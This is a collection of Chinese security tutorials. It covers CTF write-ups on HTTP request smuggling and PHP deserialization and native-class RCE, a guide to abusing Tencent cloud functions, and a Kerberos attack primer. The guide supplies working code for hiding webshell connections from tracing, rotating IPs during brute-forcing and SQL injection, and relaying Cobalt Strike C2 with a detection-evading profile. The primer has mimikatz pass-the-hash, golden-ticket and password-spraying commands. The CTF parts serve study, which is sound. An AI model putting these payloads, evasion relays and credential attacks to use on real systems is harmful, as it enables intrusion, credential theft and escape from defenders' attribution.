前言 最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在https://www.yijinglab.com/pages/CTFLaboratory.jsp进行一些解题操作,实战靶场级的体验! RoarCTF 2019 Easy Calc 先看下源码: <?php error_reporting(0); if(!isset($_GET['num'])){    show_source(__FILE__); }else{        $str = $_GET['num'];        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\#39;,'\\','\^'];        foreach ($blacklist as $blackitem) {                if (preg_match('/' . $blackitem . '/m', $str)) {                        die("what are you want to do?");               }       }        eval('echo '.$str.';'); } ?> 用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致: 到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念 什么是HTTP请求走私 HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。 Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。 这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。 如何实现HTTP请求走私攻击 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。 CL不为0时 该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: 这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n 这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。 CL-TE CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示: POST / HTTP/1.1 Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Language: zh-CN,zh;q=0.9 Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k Content-Length: 6 Transfer-Encoding: chunked 0 A 当我们用Burp两次重放该数据包,会得到返回结果: 解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样: 0\r\n \r\n A 后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。 TE-CL TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头: POST / HTTP/1.1 Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。 CL-CL CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理 回到最初 因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
记一道2021浙江省赛的Web题
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前景: 刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。 原生类: 报错类 Error 在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。 例如,有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 当传入下方payload的时候,会产生XSS ?a=Error&b=<script>alert("Lxxx");</script> Exception 与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。 ?a=Exception&b=<script>alert("Lxxx");</script> 这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢? 同样还是上方的测试代码,我们传以下payload: ?a=Exception&b=eval($_POST[1]); 可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。 不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下: <?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); 这个时候我们传入以下payload ?a=Exception&b=system('whoami') 这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。 遍历目录类 DirectoryIterator DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项 假设我们有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 这个时候我们传参如下: ?a=DirectoryIterator&b=. 在页面中返回了一个点(真的是一个点,不是显示屏上的污渍) 这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议 ?a=DirectoryIterator&b=glob://flag* 那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办? 答案是:暴力搜索 ?a=DirectoryIterator&b=glob://f[k-m]* glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。 FilesystemIterator 同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。 GlobIterator GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容 ?a=GlobIterator&b=f[k-m]* 读取文件类 SplFileObject SplFileObject类为文件提供了一个面向对象接口 说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。 同样还是这个测试代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 我们传payload如下: ?a=SplFileObject&b=flag.php 利用这个类可以将我们的flag.php文件读出来 不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛? 确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢? 我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的? 可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等) 而这些方法都有一个共同点就是,可以用伪协议。 虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。 因此我们传入payload: ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php 可以看到,这个时候flag.php就被我们完整的读取出来了。 其余类 本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。 ReflectionMethod ReflectionClass SoapClient SimpleXMLElement ZipArchive 2021浙江网络安全省赛Web2的WP 题目代码如下: <?php error_reporting(0); class A1{    public $tmp1;    public $tmp2;    public function __construct()   {        echo "Enjoy Hacking!";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2;    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1='1919810';    public $tmp2;    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1;    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2;    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1;    public $tmp2;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } if(isset($_GET['DASCTF'])) {    unserialize($_GET['DASCTF']); } else{    highlight_file(__FILE__); } 这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC <?php class A1{    public $tmp1;    public $tmp2;    public function __construct()   { $this->tmp1 = new A3();        echo "Enjoy Hacking!"."<br/>";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp2 = new A4(); }    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A6(); }    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1 = "";    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A8(); }    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1 ;    public $tmp2 ;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } $a = new A1(); echo urlencode(serialize($a)); 得到部分payload: O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A 将上方的payload传入DASCTF参数即可 这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下: echo new $this->tmp1($this->tmp2); 因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php ?DAS=DirectoryIterator&CTF=glob://flag* 得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件 ?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D 最终再将浏览器的回显进行base64解码即可得到flag
云函数(变相代理池)的三种常见利用
前言 之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。 云函数 云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性: 多出口 调用时创建执行 无需服务器VPS承载 防溯源连接Webshell 之前最好的是某安全攻防实验室公众号发布了一篇<论如何防溯源连接Webshell>,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式 云函数创建 选择自定义创建 函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel #!/usr/bin/env # -*- coding:utf-8 -*- import requests import json from urllib.parse import urlsplit def geturl(urlstr):        jurlstr = json.dumps(urlstr)        dict_url = json.loads(jurlstr)        return dict_url['u'] def main_handler(event, context):        url = geturl(event['queryString'])        host = urlsplit(url).netloc        postdata = event['body']        headers=event['headers']        headers["HOST"] = host        resp=requests.post(url,data=postdata,headers=headers,verify=False)        response={        "isBase64Encoded": False,        "statusCode": 200,        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},        "body": resp.text   }        return response 在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。 利用 我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php  然后vps端通过监控日志查看访问webshell的ip地址 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变)  通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 注入/目录爆破爆破防Ban 云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban 云函数创建 这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https://github.com/hashsecteam/scf-proxy  下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 利用 首先客户端开启监听 ./client.exe -port 10086 云函数api地址 此时再通过dirsearch设置http代理的方式爆破VPS的目录  查看access_log可以看到爆破的ip地址分布 由于此次选择的是广州地区,于是访问的ip基本都是来自广州  也可以代理访问https网站 由此可以实现爆破目录以及Sqlmap的爆破不被Ban C2隐藏 通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求,该方法学习自狼组北美第一突破手师傅 云函数创建 与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context):    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~    path=event['path']    headers=event['headers']    print(event)    if event['httpMethod'] == 'GET' :        resp=requests.get(C2+path,headers=headers,verify=False)    else:        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)        print(resp.headers)        print(resp.content)    response={        "isBase64Encoded": True,        "statusCode": resp.status_code,        "headers": dict(resp.headers),        "body": str(base64.b64encode(resp.content))[2:-1]   }    return response Cs可以定制Profile来更加隐匿流量这里使用如下的Profile set sample_name "kris_abao"; set sleeptime "3000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get {   set uri "/api/getit";   client {       header "Accept" "*/*";       metadata {           base64;           prepend "SESSIONID=";           header "Cookie";       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Server" "Nodejs";       output {           base64;           print;       }   } } http-stager {     set uri_x86 "/vue.min.js";   set uri_x64 "/bootstrap-2.min.js"; } http-post {   set uri "/api/postit";   client {       header "Accept" "*/*";       id {           base64;           prepend "JSESSION=";           header "Cookie";       }       output {           base64;           print;       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Connection" "keep-alive";       output {           base64;           print;       }   } } 创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子 监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。
连异常报错也能拿到flag?
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言: 本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。 脸滚键盘打出来的函数也能执行? 没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。 比如,有如下PHP代码: <?php tian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗? 当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。 那么有没有办法让PHP正常执行这个程序呢? 有,那必须有,甚至只需要一行 <?php function tian(){} tian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。 这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢? 从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。 举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作: 举个最常见的函数: <?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。 至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢? 为什么我的对象打印不出来? 在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   } } echo new tian();这个代码报错如下: 这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。 因此将上方程序进行修改,修改后的代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   }    function __toString()   {        return $this->id;   } } echo new tian();这个时候,程序就可以正常执行了 这个时候我们修改一下代码: <?php class tian{    public $id;    function __construct($id)   {        $this->id = $id;   }    function __toString()   {        return $this->id;   } } echo new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码 代码执行如下: 程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo() 那么将这两个特性结合起来有什么用呢? 下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。 表演一个异常报错实现RCE 题目代码如下: <?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }关键代码为:eval("echo new $a($b());"); 首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类 我们先测试一下,传payload:?a=mysqli&b=phpinfo 这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。 因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。 其中PHP官方手册对这个类的__toString()描述如下: 这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢? <?php echo new Exception(system("whoami")()); 那就先执行命令,然后将执行命令的结果作为参数传给Exception 所以传payload:?a=exception&b=system("whoami") 这个即可RCE 除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。 举个例子: <?php echo new Exception("$_GET[1]");这个时候传:?1=<script>alert("XSS");</script> 是可以XSS 当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。
kerberos学习小结
文章有点长,请准备10-15分钟的时间阅读哦 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 概念 | DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 | krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机 windows密码hash图解如下 AS-REQ AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息 wireshark抓包分析 req-body详细请求包 pvno:kerberos版本号,这里为5 msg-type:消息类型,AS_REQ对应的是krb-as-req(10) padata:主要是一些认证信息,每个认证消息有type和value   PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递     padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)     padata-value:padata的值       etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       cipher:密钥   PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC     padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       padata-value:padata的值         include-PAC:是否包含PAC,这里为True req-body:请求body   padding:填充,这里为0   kdc-options:用于与KDC预定一些选项设置   cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value     name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)     cname-string:名字,也就是请求的用户名       CNameString:请求的用户名,这里为mars2   realm:域名,这里为DRUNKMARS0   sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt     SNameString:这里是用户名 krbtgt     SNameString:这里是域名 DRUNKMARS0   till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具   rtime:到期时间   nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具   etype:加密类型,这里有6个items   address:客户端的请求地址,也就是客户端的主机名     HostAddress MESSI-PC<20>       ddr-type:地址类型,这里是nETBIOS(20)       NetBIOS Name:MESSI-PC<20> (Server service)net config workstation 查看域内信息 AS-REQ过程中的攻击方式 hash传递 msf进行hash传递 只适用于域环境,并且目标主机需要安装 KB2871997补丁 mimikatz进行hash传递 这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下 mimikatz log privilege::debug sekurlsa::ekeys 抓取sid为500的administrator的ntlm哈希 privilege::debug sekurlsa::logonpasswords 执行命令 sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c KB2871997 安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash PTK(pass the key) 获取aes-key: privilege::debug sekurlsa::ekeys 注入aes-key: sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2 域内用户枚举 使用kerbrute工具: https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口 准备用户名保存为txt 使用以下命令 kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt 使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在 密码喷洒 当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能 使用以下命令 kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519.. 密码同样存在三种错误代码 KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 同样在DC抓包,有4个UNKNOWN,1个REQUIRED AS-REP AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T 在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥 AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换 AS-REP中的攻击方式 黄金票据 使用mimikatz 先获取krbtgt hash DC执行 mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt" 获得如下信息 sid:S-1-5-21-652679085-3170934373-4288938398-502 ntlm hash:c1833c0783cfd81d3548dd89b017c99a aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi" 伪造administrator执行(krbtgt hash)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi" 导入golden.kirbi,执行命令 kerberos::ptt 